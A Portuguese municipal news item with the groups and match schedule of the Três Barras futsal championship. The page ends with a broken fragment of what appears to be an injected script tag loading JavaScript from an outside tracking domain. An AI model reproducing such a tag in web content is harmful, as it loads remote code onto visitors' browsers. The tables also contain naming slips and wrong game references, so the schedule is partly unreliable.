A bola pesada volta a rolar em Três Barras, a partir do dia 24 de setembro, com a segunda edição do Campeonato Municipal de Futsal.
Com a realização do congresso técnico na noite de sexta-feira (14), ficou definido que 30 equipes disputam a competição em quatro categorias, 18 participantes só na Livre, que estão divididos em quatro chaves.
Os jogos da categoria Livre serão realizados todas as segundas, quartas e sextas-feiras, a partir das 18h45 no ginásio de esportes Ione Cyríaco de Souza.
As terças-feiras serão reservadas às partidas das categorias Feminino e Máster Masculino, também às 18h45, mas só a partir do dia 02 de outubro.
Já as disputas da categoria Infantil serão sempre às 17h45, antes dos jogos da categoria Livre.
O campeonato é uma realização do Governo de Três Barras, por meio da secretaria de Educação, Cultura e Esporte, em parceria com a Liga Esportiva Canoinhense (LEC).
Confira as chaves e a tabela da competição nas quatro categorias, elaborada pelo professor João Eduardo Bishop, da coordenadoria de Esportes da prefeitura.
CATEGORIA LIVRE
| CHAVE “A” | CHAVE “B” | |||||||||||||||
| 1 | OS DESTEMIDOS | 6 | DEIXAQUEUXUTO | |||||||||||||
| 2 | UNIÃO TRÊS BARRAS A | 7 | COLORADO | |||||||||||||
| 3 | BOLA DE FOGO | 8 | CENTRAL | |||||||||||||
| 4 | FOLHA SECA | 9 | BAIXADA | |||||||||||||
| 5 | SONOS SEM ELES | 10 | MARRA | |||||||||||||
|
|
||||||||||||||||
| CHAVE “C” | CHAVE “D” | |||||||||||||||
| 11 | REAL SÃO CRISTOVÃO | 15 | UNIÃO TRÊS BARRAS B | |||||||||||||
| 12 | ATLÉTICO TRÊS BARRAS | 16 | UNIÃO SÃO JOÃO | |||||||||||||
| 13 | BRASNILLE | 17 | GALÁTICOS | |||||||||||||
| 14 | REMAR | 18 | UNIDOS | |||||||||||||
CATEGORIA INFANTIL
CHAVE “ÚNICA”
| 1 | CTTBF A |
| 2 | CTTBF B |
| 3 | UNIÃO TRES BARRAS |
| 4 | EVOLUÇÃO JOVEM |
| 5 | UNIDOS |
1ª RODADA
| J
Nº |
DATA | HORA | CHAVE | EQUIPE A | X | EQUIPE B | ||
| 01 | 24/09 | 17:45 | INFANTIL | CTTBF A | X | CTTBF B | ||
| 02 | 24/09 | 18:45 | B | COLORADO | X | MARRA | ||
| 03 | 24/09 | 19:50 | A | UNIÃO TRES BARRAS A | X | SONOS SEM ELES | ||
| 04 | 24/09 | 20:50 | C | REAL SÃO CRISTOVÃO | X | REMAR |
2ª RODADA
| J
Nº |
DATA | HORA | CHAVE | EQUIPE A | X | EQUIPE B | ||
| 05 | 26/09 | 17:45 | INFANTIL | UNIÃO TRES BARRAS | X | EVOLUÇÃO JOVEM | ||
| 06 | 26/09 | 18:45 | D | UNIÃO TRES BARRAS B | X | UNIDOS | ||
| 07 | 26/09 | 19:50 | D | UNIÃO SÃO JOÃO | X | GALATICOS | ||
| 08 | 26/09 | 20:50 | C | ATLETICO TRES BARRAS | X | BRASNILE |
3ª RODADA
| J
Nº |
DATA | HORA | CHAVE | EQUIPE A | X | EQUIPE B | ||
| 09 | 28/09 | 17:45 | INFANTIL | CTTBF B | X | UNIDOS | ||
| 10 | 28/09 | 18:45 | B | CENTRAL | X | BAIXADA | ||
| 11 | 28/09 | 19:50 | A | BOLA DE FOGO | X | FOLHA SECA | ||
| 12 | 28/09 | 20:50 | C | REMAR | X | BRASNILE |
4ª RODADA
| J
Nº |
DATA | HORA | CHAVE | EQUIPE A | X | EQUIPE B | ||
| 13 | 01/10 | 17:45 | INFANTIL | UNIDOS | X | UNIÃO TRES BARRAS | ||
| 14 | 01/10 | 18:45 | B | MARRA | X | CENTRAL | ||
| 15 | 01/10 | 19:50 | A | SONOS SEM ELES | X | BOLA DE FOGO | ||
| 16 | 01/10 | 20:50 | D | UNIDOS | X | GALATICOS |
5ª RODADA
| J
Nº |
DATA | HORA | CHAVE | EQUIPE A | X | EQUIPE B | ||
| 17 | 03/10 | 17:45 | INFANTIL | EVOLUÇÃO JOVEM | X | UNIDOS | ||
| 18 | 03/10 | 18:45 | D | UNIÃO TER BARRAS B | X | UNIÃO SÃO JOÃO | ||
| 19 | 03/10 | 19:50 | C | REAL SÃO CRISTOVÃO | X | ATLETICO TRES BARRAS | ||
| 20 | 03/10 | 20:50 | B | DEXAQUEUXUTO | X | COLORADO |
6ª RODADA
| J
Nº |
DATA | HORA | CHAVE | EQUIPE A | X | EQUIPE B | ||
| 21 | 05/10 | 17:45 | INFANTIL | UNIÃO TRES BARRAS | X | CTTBF A | ||
| 22 | 05/10 | 18:45 | A | OS DESTEMIDOS | X | UNIÃO TRES BARRAS A | ||
| 23 | 05/10 | 19:50 | B | CENTRAL | X | DEXAQUEUXUTO | ||
| 24 | 05/10 | 20:50 | C | ATLETICO TRES BARRAS | X | REMAR |
7ª RODADA
| J
Nº |
DATA | HORA | CHAVE | EQUIPE A | X | EQUIPE B | ||
| 25 | 08/10 | 17:45 | INFANTIL | CTTBF B | X | UNIÃO TRES BARRAS | ||
| 26 | 08/10 | 18:45 | D | UNIÃO SÃO JOÃO | X | UNIDOS | ||
| 27 | 08/10 | 19:50 | D | GALATICOS | X | UNIÃO TRES BARRAS B | ||
| 28 | 08/10 | 20:50 | C | BRASNILE | X | REAL SÃO JOÃO |
8ª RODADA
| J
Nº |
DATA | HORA | CHAVE | EQUIPE A | X | EQUIPE B | ||
| 29 | 10/10 | 17:45 | INFANTIL | CTTBF A | X | EVOLUÇÃO JOVEM | ||
| 30 | 10/10 | 18:45 | B | BAIXADA | X | MARRA | ||
| 31 | 10/10 | 19:50 | A | BOLA DE FOGO | X | OS DESTEMIDOS | ||
| 32 | 10/10 | 20:50 | A | FOLHA SECA | X | SONOS SEM ELES |
9ª RODADA
| J Nº | DATA | HORA | CHAVE | EQUIPE A | X | EQUIPE B | ||
| 33 | 15/10 | 17:45 | INFANTIL | EVOLUÇÃO JOVEM | X | CTTBF B | ||
| 34 | 15/10 | 18:45 | B | DEXAQUEUXUTO | X | BAIXADA | ||
| 35 | 15/10 | 19:50 | B | COLORADO | X | CENTRAL | ||
| 36 | 15/10 | 20:50 | A | OS DESTEMIDOS | X | FOLHA SECA |
10ª RODADA
| J
Nº |
DATA | HORA | CHAVE | EQUIPE A | X | EQUIPE B | ||
| 37 | 17/10 | 17:45 | INFANTIL | UNIDOS | X | CTTBF A | ||
| 38 | 17/10 | 18:45 | A | UNIÃO TRES BARRAS A | X | BOLA DE FOGO | ||
| 39 | 17/10 | 19:50 | A | SONOS SEM ELES | X | OS DESTEMIDOS | ||
| 40 | 17/10 | 20:50 | B | BAIXADA | X | COLORADO |
*NESTA DATA TERMINA A FASE CLASSIFICATÓRIA PARA O INFANTIL, SERÁ MARCADA DATA PARA A DECISÃO DO 3º LUGAR E FINAL.
11ª RODADA
| J
Nº |
DATA | HORA | CHAVE | EQUIPE A | X | EQUIPE B | ||
| 41 | 19/10 | 18:45 | B | MARRA | X | DEXAQUEUXUTO | ||
| 42 | 19/10 | 19:50 | A | FOLHA SECA | X | UNIÃO TRES BARRAS A |
SEGUNDA FASE
TABELA DE JOGOS
JOGARÃO TODOS CONTRA TODOS NA CHAVE E CLASSIFICAM-SE DUAS EQUIPES DE CADA GRUPO PARA AS SEMIFINAIS E FINAL.
| CHAVE F | |
| 05 | 1 º de C = |
| 06 | 1 º de D = |
| 07 | 2 º de C = |
| 08 | 2 º de D = |
| 5×8 6×7 8×7 5×6 6×8 7×5 |
| CHAVE E | |
| 01 | 1 º de A = |
| 02 | 1 º de B = |
| 03 | 2 º de A = |
| 04 | 2 º de B = |
| 1×4 2×3 4×3 1×2 2×4 3×1 |
12ª RODADA
| J
Nº |
DATA | HORA | CHAVE | EQUIPE A | X | EQUIPE B | ||
| 43 | 22/10 | 18:45 | 1 | X | 4 | |||
| 44 | 22/10 | 19:50 | 5 | X | 8 | |||
| 45 | 22/10 | 20:50 | 2 | X | 3 |
13ª RODADA
| J
Nº |
DATA | HORA | CHAVE | EQUIPE A | X | EQUIPE B | ||
| 46 | 24/10 | 18:45 | 6 | X | 7 | |||
| 47 | 24/10 | 19:50 | 4 | X | 3 | |||
| 48 | 24/10 | 20:50 | 8 | X | 7 |
14ª RODADA
| J
Nº |
DATA | HORA | CHAVE | EQUIPE A | X | EQUIPE B | ||
| 49 | 26/10 | 18:45 | 1 | X | 2 | |||
| 50 | 26/10 | 19:50 | 5 | X | 6 | |||
| 51 | 26/10 | 20:50 | 2 | X | 4 |
15ª RODADA
| J
Nº |
DATA | HORA | CHAVE | EQUIPE A | X | EQUIPE B | ||
| 52 | 29/10 | 18:45 | 6 | X | 8 | |||
| 53 | 29/10 | 19:50 | 3 | X | 1 | |||
| 54 | 29/10 | 20:50 | 7 | X | 5 |
SEMIFINAIS
| J
Nº |
DATA | HORA | CHAVE | EQUIPE A | X | EQUIPE B | ||
| 55 | 31/10 | 18:45 | 1º de E = | X | 2º de F = | |||
| 56 | 31/10 | 19:50 | 1º de F = | X | 2 º de E = |
FINAL
| J
Nº |
DATA | HORA | CH | EQUIPE A | X | EQUIPE B | ||
| 57 | 05/11 | 18:45 | PERDEDOR JOGO 45 | X | PERDEDOR JOGO 46 (3 º Lugar ) | |||
| 58 | 05/11 | 19:50 | GANHADOR JOGO 45 | X | GANHADOR JOGO 46 ( 1 º e 2 º ) |
- OS HORÁRIOS DOS JOGOS PODEM SOFRER ALTERAÇÕES DE ACORDO COM A NECESSIDADE DA ORGANIZAÇÃO.
CATEGORIAS MÁSTER e FEMININO
| CHAVE ÚNICA – MÁSTER | CHAVE ÚNICA – FEMININO | |
| 1- UNIÃO TRÊS BARRAS | 1 | DEIXAQUEUXUTO |
| 2- ESTRELAS | 2 | UNIÃO TRÊS BARRAS |
| 3- OLARIA | 3 | ATLÉTICO TRÊS BARRAS |
| 4- REMAR |
1ª RODADA
| J
Nº |
DATA | HORA | CH | EQUIPE A | X | EQUIPE B | ||
| 01 | 02/10 | 18:45 | MASC. | ESTRELAS | X | OLARIA | ||
| 02 | 02/10 | 19:50 | FEM. | UNIÃO TRES BARRAS | X | ATLETICO TRES BARRAS | ||
| 03 | 02/10 | 20:50 | MASC. | UNIÃO TRES BARRAS | X | REMAR |
2ª RODADA
| J
Nº |
DATA | HORA | CH | EQUIPE A | X | EQUIPE B | ||
| 04 | 09/10 | 18:45 | MASC. | REMAR | X | OLARIA | ||
| 05 | 09/10 | 19:50 | FEM. | DEIXAQUEUXUTO | X | UNIÃO TRES BARRAS | ||
| 06 | 09/10 | 20:50 | MASC. | UNIÃO TRES BARRAS | X | ESTRELAS |
3ª RODADA
| J
Nº |
DATA | HORA | CH | EQUIPE A | X | EQUIPE B | ||
| 07 | 16/10 | 18:45 | MASC. | ESTRELAS | X | REMAR | ||
| 08 | 16/10 | 19:50 | FEM. | ATLETICO TRES BARRAS | X | DEIXAQUEUXUTO | ||
| 09 | 16/10 | 20:50 | MASC. | OLARIA | X | UNIÃO TRES BARRAS |
FINAL
| J
Nº |
DATA | HORA | CH | EQUIPE A | X | EQUIPE B | ||
| 10 | 23/10 | 18:45 | MASC. | X | 3º LUGAR | |||
| 11 | 23/10 | 20:50 | MASC. | 1º LUGAR |
… src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>


>